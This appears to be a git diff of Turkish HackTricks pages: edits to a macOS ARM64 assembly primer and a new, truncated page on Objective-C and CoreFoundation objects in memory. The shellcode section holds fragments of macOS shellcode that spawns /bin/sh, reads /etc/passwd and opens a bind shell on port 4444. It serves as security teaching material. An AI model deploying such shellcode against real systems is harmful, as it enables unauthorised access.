sayfa adresini hesaplar ve `x0`'da saklar. -* **`ldrsw`**: Bellekten işaretle **32 bitlik** bir değeri **64 bit**e genişle ve **yükle**. -* Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan işaretle 32 bitlik bir değeri yükler, 64 bit'e genişletir ve `x0`'a saklar. -* **`stur`**: Bir kayıt değerini bir bellek konumuna **kaydet**, başka bir kayıttan bir ofset kullanarak. +* Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0`'a saklar. +* **`ldrsw`**: Bellekten işaretle **32 bitlik** bir değeri **64 bitlere genişleterek yükle**. +* Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan işaretle 32 bitlik bir değeri yükler, 64 bitlere genişletir ve `x0`'a saklar. +* **`stur`**: Bir kayıt değerini başka bir kayıttan ofset kullanarak bir bellek konumuna **kaydet**. * Örnek: `stur x0, [x1, #4]` — Bu, `x1` içindeki adresin 4 byte daha büyük olan bellek adresine `x0` içindeki değeri kaydeder. -* **`svc`** : Bir **sistem çağrısı** yap. "Supervisor Call" kısaltmasıdır. İşlemci bu talimatı çalıştırdığında, **kullanıcı modundan çekirdek moduna geçer** ve **çekirdeğin sistem çağrısı işleme** kodunun bulunduğu belirli bir bellek konumuna atlar. +* **`svc`** : Bir **sistem çağrısı** yap. "Supervisor Call" kısaltmasıdır. İşlemci bu komutu çalıştırdığında, **kullanıcı modundan çekirdek moduna geçer** ve belleğin belirli bir konumuna atlar, burada **çekirdeğin sistem çağrısı işleme** kodu bulunur. * Örnek: ```armasm @@ -246,7 +247,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t {% endcode %} 2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (geçerli işlev için yeni çerçeve işaretçisini ayarlar) -3. **Yerel değişkenler için yığın üzerinde alan ayırın** (gerekiyorsa): `sub sp, sp, ` (burada ``, ihtiyaç duyulan bayt sayısıdır) +3. **Yerel değişkenler için yığın üzerinde yer ayırın** (gerekiyorsa): `sub sp, sp, ` (burada ``, ihtiyaç duyulan bayt sayısıdır) ### **İşlev Sonu** @@ -259,16 +260,16 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th ``` {% endcode %} -3. **Dönüş**: `ret` (kontrolü çağırana link register'daki adrese döndürür) +3. **Dönüş**: `ret` (kontrolü çağırana link kaydedicideki adrese döndürür) ## AARCH32 Yürütme Durumu -Armv8-A, 32 bitlik programların yürütülmesini destekler. **AArch32**, **iki komut setinden** birinde çalışabilir: **`A32`** ve **`T32`** ve aralarında **`geçişli çalışma`** ile geçiş yapabilir.\ -**Ayrıcalıklı** 64 bitlik programlar, daha düşük ayrıcalıklı 32 bitlik programa bir istisna seviyesi aktarımı gerçekleştirerek **32 bitlik programların yürütülmesini** planlayabilir.\ -64 bitlikten 32 bitliğe geçişin, daha düşük bir istisna seviyesi ile gerçekleştiğini unutmayın (örneğin, EL1'de 64 bitlik bir program EL0'da bir programa tetikleme). Bu, `AArch32` işlem ipliğinin yürütülmeye hazır olduğunda **`SPSR_ELx`** özel kaydının **4. bitini 1** olarak ayarlayarak ve geri kalan `SPSR_ELx`'in **`AArch32`** programlarının CPSR'ını saklayarak yapılır. Ardından, ayrıcalıklı işlem **`ERET`** komutunu çağırarak işlemcinin **`AArch32`**'ye geçiş yapmasını sağlar ve CPSR'a bağlı olarak A32 veya T32'ye girer\*\*.\*\* +Armv8-A, 32 bitlik programların yürütülmesini destekler. **AArch32**, **iki komut setinden** birinde çalışabilir: **`A32`** ve **`T32`** ve aralarında **`geçiş`** yapabilir.\ +**Ayrıcalıklı** 64 bitlik programlar, daha düşük ayrıcalıklı 32 bitlik programa bir istisna seviye transferi gerçekleştirerek **32 bitlik programların yürütülmesini** planlayabilir.\ +64 bitlikten 32 bitliğe geçişin, istisna seviyesinin düşürülmesiyle gerçekleştiğini unutmayın (örneğin, EL1'de 64 bitlik bir program EL0'da bir programı tetikler). Bu, `AArch32` işlem ipliğinin yürütülmeye hazır olduğunda **`SPSR_ELx`** özel kaydedicisinin **4. bitini 1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'ini saklar. Ardından, ayrıcalıklı işlem **`ERET`** komutunu çağırarak işlemcinin **`AArch32`**'ye geçiş yapmasını sağlar ve CPSR'ye bağlı olarak A32 veya T32'ye girer. -**`Geçişli çalışma`**, CPSR'ın J ve T bitleri kullanılarak gerçekleştirilir. `J=0` ve `T=0` **`A32`** anlamına gelir ve `J=0` ve `T=1` **T32** anlamına gelir. Bu temelde, komut setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\ -Bu, **geçişli dallanma komutları** sırasında ayarlanır, ancak PC hedef kayıt olarak ayarlandığında diğer komutlarla doğrudan ayarlanabilir. Örnek: +**`Geçiş`**, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0` **`A32`** anlamına gelir ve `J=0` ve `T=1` **T32** anlamına gelir. Bu temelde, komut setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\ +Bu, **geçiş dalı komutları** sırasında ayarlanır, ancak PC hedef kaydedici olarak ayarlandığında diğer komutlarla da doğrudan ayarlanabilir. Örnek: Başka bir örnek: ```armasm @@ -283,20 +284,20 @@ mov r0, #8 ``` ### Kayıtlar -16 adet 32-bit kayıt bulunmaktadır (r0-r15). **r0'dan r14'e kadar** herhangi bir işlem için kullanılabilirler, ancak bazıları genellikle ayrılmıştır: +16 adet 32-bit kayıt bulunmaktadır (r0-r15). **r0'dan r14'e** kadar olanlar **herhangi bir işlem için** kullanılabilir, ancak bazıları genellikle ayrılmıştır: -- **`r15`**: Program sayacı (her zaman). Bir sonraki talimatın adresini içerir. A32'de mevcut + 8, T32'de ise mevcut + 4. +- **`r15`**: Program sayacı (her zaman). Bir sonraki komutun adresini içerir. A32'de mevcut + 8, T32'de ise mevcut + 4. - **`r11`**: Çerçeve İşaretçisi -- **`r12`**: İç işlevsel çağrı kaydı +- **`r12`**: İçsel işlem çağrı kaydedici - **`r13`**: Yığın İşaretçisi - **`r14`**: Bağlantı Kaydedici -Ayrıca, kayıtlar **`bankalı kayıtlar`**da yedeklenir. Bu, istisna işleme ve ayrıcalıklı işlemlerde **hızlı bağlam değiştirme** yapabilmek için kayıt değerlerini depolayan yerlerdir, böylece her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırır.\ -Bu, işlemcinin durumunu istisna alınan işlemcinin moduna **`CPSR`'den `SPSR`'ye** kaydederek yapılır. İstisna dönüşlerinde, **`CPSR`** **`SPSR`**'den geri yüklenir. +Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, istisna işleme ve ayrıcalıklı işlemlerde **hızlı bağlam değiştirme** yapabilmek için kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırır.\ +Bu, işlemcinin durumunu **`CPSR`**'den işlemcinin alındığı işlemci modunun **`SPSR`**'ine kaydederek yapılır. İstisna dönüşlerinde, **`CPSR`** **`SPSR`**'den geri yüklenir. ### CPSR - Geçerli Program Durumu Kaydedici -AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve bir istisna alındığında daha sonra geri yüklemek için **`SPSR_ELx`**'de depolanır: +AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve bir istisna alındığında ileride geri yüklemek üzere **`SPSR_ELx`** içinde depolanır:
@@ -308,33 +309,33 @@ Alanlar bazı gruplara ayrılmıştır: #### Uygulama Program Durumu Kaydedici (APSR) - **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'te olduğu gibi) -- **`Q`** bayrağı: Özel doyurucu aritmetik talimatın yürütülmesi sırasında **tamsayı doygunluğu oluştuğunda** 1 olarak ayarlanır. Bir kez **`1`** olarak ayarlandığında, elle 0 olarak ayarlanana kadar değeri korur. Ayrıca, değerini zımni olarak kontrol eden herhangi bir talimat yoktur, değeri manuel olarak okunarak kontrol edilmelidir. -- **`GE`** (Büyük veya eşit) Bayraklar: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, bir talimattaki birden fazla veri noktasının işlenmesine izin verir. +- **`Q`** bayrağı: Özel doyurucu aritmetik komutun yürütülmesi sırasında **tamsayı doygunluğu oluştuğunda** 1 olarak ayarlanır. Bir kez **`1`** olarak ayarlandığında, elle 0 olarak ayarlanana kadar değeri korur. Ayrıca, değerini örtük olarak kontrol eden herhangi bir komut yoktur, değeri manuel olarak okunarak kontrol edilmelidir. +- **`GE`** (Büyük veya eşit) Bayraklar: SIMD (Tek Komutla, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler tek bir komutta birden fazla veri noktasını işlemeyi sağlar. -Örneğin, **`UADD8`** talimatı, paralel olarak dört çift baytı (iki 32-bit işleçten) ekler ve sonuçları bir 32-bit kaydedicide depolar. Ardından, bu sonuçlara dayanarak **`APSR`'deki `GE`** bayraklarını ayarlar. Her GE bayrağı, o bayt çifti için eklemenin taştığını gösterir. +Örneğin, **`UADD8`** komutu, paralel olarak dört çift baytı (iki 32-bit işlemden) ekler ve sonuçları bir 32-bit kaydediciye depolar. Ardından, bu sonuçlara dayanarak **`APSR`** içindeki **`GE`** bayraklarını ayarlar. Her GE bayrağı, bayt eklemelerinden birine karşılık gelir ve o bayt çifti için eklemenin taştığını gösterir. -**`SEL`** talimatı, bu GE bayraklarını koşullu işlemler yapmak için kullanır. +**`SEL`** komutu, bu GE bayraklarını koşullu işlemler yapmak için kullanır. #### İşlem Durumu Kaydedicileri -- **`J`** ve **`T`** bitleri: **`J`** 0 olmalı ve **`T`** 0 ise A32 talimat seti kullanılır, 1 ise T32 kullanılır. -- **IT Blok Durum Kaydedici** (`ITSTATE`): Bunlar 10-15 ve 25-26'dan gelen bitlerdir. Bir **`IT`** ön ekli grup içindeki talimatlar için koşulları depolarlar. +- **`J`** ve **`T`** bitleri: **`J`** 0 olmalıdır ve **`T`** 0 ise A32 komut seti kullanılır, 1 ise T32 kullanılır. +- **IT Blok Durum Kaydedici** (`ITSTATE`): Bunlar 10-15 ve 25-26'dan gelen bitlerdir. Bir **`IT`** ön ekli grup içindeki komutlar için koşulları depolarlar. - **`E`** biti: **endianness**'ı belirtir. -- **Mod ve İstisna Maskesi Bitleri** (0-4): Mevcut yürütme durumunu belirler. 5. olan programın 32 bit (1) veya 64 bit (0) olarak çalıştığını belirtir. Diğer 4'ü, kullanılan mevcut istisna modunu belirtir (bir istisna oluştuğunda ve işlendiğinde). Sayı seti, bunun işlenirken başka bir istisna tetiklenirse mevcut önceliği belirtir. +- **Mod ve İstisna Maske Bitleri** (0-4): Mevcut yürütme durumunu belirler. **5.** si programın 32 bit (1) veya 64 bit (0) olarak çalıştığını belirtir. Diğer 4'ü, kullanılan mevcut istisna modunu belirtir (bir istisna oluştuğunda ve işlendiğinde). Sayı seti, bunun işlenirken başka bir istisna tetiklenirse mevcut önceliği belirtir.
-- **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. **`A`** 1 ise **asenkron hatalar** tetikleneceği anlamına gelir. **`I`**, harici donanım **Kesme İstekleri'ne** (IRQ'ler) yanıt vermek için yapılandırılır ve F, **Hızlı Kesme İstekleri'ne** (FIR'ler) ilişkilidir. +- **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. **`A`** 1 ise **asenkron hatalar** tetikleneceği anlamına gelir. **`I`**, harici donanım **Kesme İstekleri'ne** (IRQ'lar) yanıt vermek için yapılandırılır ve F, **Hızlı Kesme İstekleri'ne** (FIR'lar) ilişkilidir. ## macOS ### BSD sistem çağrıları -[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)'a göz atın. BSD sistem çağrıları **x16 > 0** olacaktır. +[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) dosyasına göz atın. BSD sistem çağrıları **x16 > 0** olacaktır. ### Mach Tuzakları -[mach_trap_table](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) ve [mach_traps.h](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) içindeki prototiplere bakın. Mach tuzaklarının sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuzakları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları bir **eksi** ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur. +[mach_trap_table](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) ve [mach_traps.h](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) dosyalarına bakın. Mach tuzaklarının sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuzakları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları bir **eksi** ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur. Bu (ve BSD) sistem çağrılarını nasıl çağıracağınızı bulmak için bir ayraçta **`libsystem_kernel.dylib`**'i kontrol edebilirsiniz: @@ -349,16 +350,16 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar {% endcode %} {% hint style="success" %} -Bazen, **`libsystem_kernel.dylib`** dosyasından **derlenmiş** kodu kontrol etmek, **kaynak kodunu** kontrol etmekten daha kolay olabilir çünkü birkaç sistem çağrısının (BSD ve Mach) kodu betikler aracılığıyla oluşturulur (kaynak kodundaki yorumlara bakın) iken dylib dosyasında neyin çağrıldığını bulabilirsiniz. +Bazen **`libsystem_kernel.dylib`** dosyasından **derlenmiş** kodu kontrol etmek **kaynak kodunu** kontrol etmekten daha kolay olabilir çünkü birkaç sistem çağrısının (BSD ve Mach) kodu betikler aracılığıyla oluşturulur (kaynak kodundaki yorumlara bakın) iken dylib dosyasında neyin çağrıldığını bulabilirsiniz. {% endhint %} ### machdep çağrıları -XNU, makine bağımlı olarak adlandırılan başka bir çağrı türünü destekler. Bu çağrıların sayısı mimariye bağlıdır ve ne çağrılar ne de sayılar sabit kalması garanti edilmez. +XNU, makine bağımlı olarak adlandırılan başka bir çağrı türünü destekler. Bu çağrıların sayısı mimariye bağlıdır ve ne çağrılar ne de numaraların sabit kalması garanti edilmez. ### comm sayfası -Bu, her kullanıcı işleminin adres alanına eşlenen bir çekirdek sahibi bellek sayfasıdır. Bu, kullanıcı modundan çekirdek alanına geçişi, bu geçişin çok verimsiz olacağı çekirdek hizmetleri için sistem çağrılarını kullanmaktan daha hızlı yapmayı amaçlar. +Bu, her kullanıcı işleminin adres alanına eşlenmiş olan bir çekirdek sahibi bellek sayfasıdır. Bu, kullanıcı modundan çekirdek alanına geçişi, bu geçişin çok verimsiz olacağı çekirdek hizmetleri için sistem çağrılarını kullanmaktan daha hızlı yapmayı amaçlar. Örneğin, `gettimeofdate` çağrısı, `timeval` değerini doğrudan comm sayfasından okur. @@ -368,12 +369,13 @@ Bu fonksiyonun Objective-C veya Swift programlarında sıkça kullanıldığın Parametreler ([daha fazla bilgi için dokümantasyona bakın](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)): -* x0: self -> Örneğin işaretçisi +* x0: self -> Örneğin işaretçi * x1: op -> Yöntemin seçicisi * x2... -> Çağrılan yöntemin diğer argümanları -Bu nedenle, bu fonksiyona yapılan dal öncesinde kesme noktası koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan `NSConcreteTask` nesnesini çağırır). -``` +Bu nedenle, bu fonksiyona yapılan dal öncesinde kesme noktası koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan `NSConcreteTask` nesnesinden bir nesneyi çağırır). +```bash +# Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -390,9 +392,29 @@ whoami ) ``` {% hint style="success" %} -`NSObjCMessageLoggingEnabled=1` ortam değişkenini ayarlayarak, bu işlevin `/tmp/msgSends-pid` gibi bir dosyada ne zaman çağrıldığını kaydetmek mümkündür. +**`NSObjCMessageLoggingEnabled=1`** çevresel değişkeni ayarlanarak bu işlevin `/tmp/msgSends-pid` gibi bir dosyada çağrıldığında kaydedilmesi mümkündür. + +Ayrıca, **`OBJC_HELP=1`** ayarlanarak herhangi bir ikili dosyayı çağırarak belirli Objc-C eylemleri gerçekleştiğinde **kaydetmek** için kullanabileceğiniz diğer çevresel değişkenleri görebilirsiniz. {% endhint %} +Bu işlev çağrıldığında, belirtilen örneğin çağrılan yöntemini bulmak gereklidir, bunun için farklı aramalar yapılır: + +* İyimser önbellek araması yap: +* Başarılıysa, tamam +* runtimeLock al (okuma) +* (gerçekleştir && !cls->realized) ise sınıfı gerçekleştir +* (initialize && !cls->initialized) ise sınıfı başlat +* Sınıfın kendi önbelleğini dene: +* Başarılıysa, tamam +* Sınıf yöntem listesini dene: +* Bulunduysa, önbelleği doldur ve tamam +* Üst sınıf önbelleğini dene: +* Başarılıysa, tamam +* Üst sınıf yöntem listesini dene: +* Bulunduysa, önbelleği doldur ve tamam +* (çözücü) yöntem çözücüyü dene ve sınıf aramasından tekrarla +* Hala buradaysa (= her şey başarısız oldu) yönlendiriciyi dene + ### Kabuk Kodları Derlemek için: @@ -403,7 +425,7 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm # You could also use this ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem ``` -Baytları çıkarmak için: +Bytes'ı çıkarmak için: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do @@ -465,6 +487,8 @@ sc(); return 0; } ``` +
+ #### Kabuk [**buradan**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) alınmış ve açıklanmıştır. @@ -534,12 +558,9 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, sh_path: .asciz "/bin/sh" ``` -{% endtab %} -{% endtabs %} +#### Cat ile oku -#### Cat ile okuma - -Amacımız `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmak, bu yüzden ikinci argüman (x1) parametrelerin bir dizisi olmalıdır (bellekte bu adreslerin bir yığını anlamına gelir). +Amacımız `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmak, bu nedenle ikinci argüman (x1) parametrelerin bir dizisi olmalıdır (bellekte bu adreslerin bir yığını anlamına gelir). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +632,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bağlama kabuğu -Bağlama kabuğu [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) adresinden **4444 portu** üzerinden. +Bağlama kabuğu [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) üzerinden **4444 numaralı bağlantı noktasında**. ```armasm .section __TEXT,__text .global _main @@ -762,16 +783,17 @@ mov x2, xzr mov x16, #59 svc #0x1337 ``` +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md new file mode 100644 index 000000000..f2ece74e0 --- /dev/null +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md @@ -0,0 +1,160 @@ +# Bellek içindeki nesneler + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks'i Destekleyin + +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. + +
+{% endhint %} + +## CFRuntimeClass + +CF\* nesneleri CoreFoundation'dan gelir ve `CFString`, `CFNumber` veya `CFAllocatior` gibi 50'den fazla nesne sınıfı sağlar. + +Tüm bu sınıflar, `CFRuntimeClass` sınıfının örnekleridir ve çağrıldığında `__CFRuntimeClassTable`'a bir dizin döndürür. CFRuntimeClass, [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html)'de tanımlanmıştır. +```objectivec +// Some comments were added to the original code + +enum { // Version field constants +_kCFRuntimeScannedObject = (1UL << 0), +_kCFRuntimeResourcefulObject = (1UL << 2), // tells CFRuntime to make use of the reclaim field +_kCFRuntimeCustomRefCount = (1UL << 3), // tells CFRuntime to make use of the refcount field +_kCFRuntimeRequiresAlignment = (1UL << 4), // tells CFRuntime to make use of the requiredAlignment field +}; + +typedef struct __CFRuntimeClass { +CFIndex version; // This is made a bitwise OR with the relevant previous flags + +const char *className; // must be a pure ASCII string, nul-terminated +void (*init)(CFTypeRef cf); // Initializer function +CFTypeRef (*copy)(CFAllocatorRef allocator, CFTypeRef cf); // Copy function, taking CFAllocatorRef and CFTypeRef to copy +void (*finalize)(CFTypeRef cf); // Finalizer function +Boolean (*equal)(CFTypeRef cf1, CFTypeRef cf2); // Function to be called by CFEqual() +CFHashCode (*hash)(CFTypeRef cf); // Function to be called by CFHash() +CFStringRef (*copyFormattingDesc)(CFTypeRef cf, CFDictionaryRef formatOptions); // Provides a CFStringRef with a textual description of the object// return str with retain +CFStringRef (*copyDebugDesc)(CFTypeRef cf); // CFStringRed with textual description of the object for CFCopyDescription + +#define CF_RECLAIM_AVAILABLE 1 +void (*reclaim)(CFTypeRef cf); // Or in _kCFRuntimeResourcefulObject in the .version to indicate this field should be used +// It not null, it's called when the last reference to the object is released + +#define CF_REFCOUNT_AVAILABLE 1 +// If not null, the following is called when incrementing or decrementing reference count +uint32_t (*refcount)(intptr_t op, CFTypeRef cf); // Or in _kCFRuntimeCustomRefCount in the .version to indicate this field should be used +// this field must be non-NULL when _kCFRuntimeCustomRefCount is in the .version field +// - if the callback is passed 1 in 'op' it should increment the 'cf's reference count and return 0 +// - if the callback is passed 0 in 'op' it should return the 'cf's reference count, up to 32 bits +// - if the callback is passed -1 in 'op' it should decrement the 'cf's reference count; if it is now zero, 'cf' should be cleaned up and deallocated (the finalize callback above will NOT be called unless the process is running under GC, and CF does not deallocate the memory for you; if running under GC, finalize should do the object tear-down and free the object memory); then return 0 +// remember to use saturation arithmetic logic and stop incrementing and decrementing when the ref count hits UINT32_MAX, or you will have a security bug +// remember that reference count incrementing/decrementing must be done thread-safely/atomically +// objects should be created/initialized with a custom ref-count of 1 by the class creation functions +// do not attempt to use any bits within the CFRuntimeBase for your reference count; store that in some additional field in your CF object + +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wmissing-field-initializers" +#define CF_REQUIRED_ALIGNMENT_AVAILABLE 1 +// If not 0, allocation of object must be on this boundary +uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .version field to indicate this field should be used; the allocator to _CFRuntimeCreateInstance() will be ignored in this case; if this is less than the minimum alignment the system supports, you'll get higher alignment; if this is not an alignment the system supports (e.g., most systems will only support powers of two, or if it is too high), the result (consequences) will be up to CF or the system to decide + +} CFRuntimeClass; +``` +## Objective-C + +### Kullanılan Bellek Bölümleri + +ObjectiveC çalışma zamanı tarafından kullanılan verilerin çoğu yürütme sırasında değişeceğinden, bellekte **\_\_DATA** segmentinden bazı bölümleri kullanır: + +- **`__objc_msgrefs`** (`message_ref_t`): Mesaj referansları +- **`__objc_ivar`** (`ivar`): Örnek değişkenler +- **`__objc_data`** (`...`): Değiştirilebilir veri +- **`__objc_classrefs`** (`Class`): Sınıf referansları +- **`__objc_superrefs`** (`Class`): Üst sınıf referansları +- **`__objc_protorefs`** (`protocol_t *`): Protokol referansları +- **`__objc_selrefs`** (`SEL`): Seçici referansları +- **`__objc_const`** (`...`): Sınıf `r/o` verileri ve diğer (umuyoruz ki) sabit veriler +- **`__objc_imageinfo`** (`version, flags`): Görüntü yükleme sırasında kullanılır: Şu anda `0` sürüm; Bayraklar önoptimize edilmiş GC desteğini belirtir, vb. +- **`__objc_protolist`** (`protocol_t *`): Protokol listesi +- **`__objc_nlcatlist`** (`category_t`): Bu ikili dosyada tanımlanan Tembel Olmayan Kategorilere işaretçi +- **`__objc_catlist`**** (`category_t`): Bu ikili dosyada tanımlanan Kategorilere işaretçi +- **`__objc_nlclslist`** (`classref_t`): Bu ikili dosyada tanımlanan Tembel Olmayan Objective-C sınıflarına işaretçi +- **`__objc_classlist`** (`classref_t`): Bu ikili dosyada tanımlanan tüm Objective-C sınıflarına işaretçiler + +Ayrıca, sabit değerleri saklamak için **`__TEXT`** segmentinde birkaç bölüm daha kullanır: + +- **`__objc_methname`** (C-String): Yöntem adları +- **`__objc_classname`** (C-String): Sınıf adları +- **`__objc_methtype`** (C-String): Yöntem tipleri + +### Tür Kodlaması + +Objective-C, basit ve karmaşık tiplerin seçici ve değişken tiplerini kodlamak için bazı karıştırma kullanır: + +- İlkel tipler, tipin ilk harfini kullanır `i` için `int`, `c` için `char`, `l` için `long`... ve büyük harf kullanır işaretli ise (`L` için `unsigned Long`). +- Diğer veri tipleri, harfleri kullanılan veya özel olanlar, diğer harfler veya semboller kullanır, örneğin `q` için `long long`, `b` için `bit alanları`, `B` için `booleanlar`, `#` için `sınıflar`, `@` için `id`, `*` için `char işaretçileri`, `^` için genel `işaretçiler` ve `?` için `tanımsız`. +- Diziler, yapılar ve birlikler `[`, `{` ve `(` kullanır + +#### Örnek Yöntem Bildirimi + +{% code overflow="wrap" %} +```objectivec +- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error; +``` +{% endcode %} + +Seçici `processString:withOptions:andError:` olacaktır. + +#### Tür Kodlaması + +* `id` `@` olarak kodlanır +* `char *` `*` olarak kodlanır + +Yöntemin tam tür kodlaması: +```less +@24@0:8@16*20^@24 +``` +#### Detaylı Açıklama + +1. **Dönüş Türü (`NSString *`)**: `@` olarak kodlanmış, uzunluğu 24 +2. **`self` (nesne örneği)**: `@` olarak kodlanmış, ofset 0'da +3. **`_cmd` (seçici)**: `:` olarak kodlanmış, ofset 8'de +4. **İlk argüman (`char * input`)**: `*` olarak kodlanmış, ofset 16'da +5. **İkinci argüman (`NSDictionary * 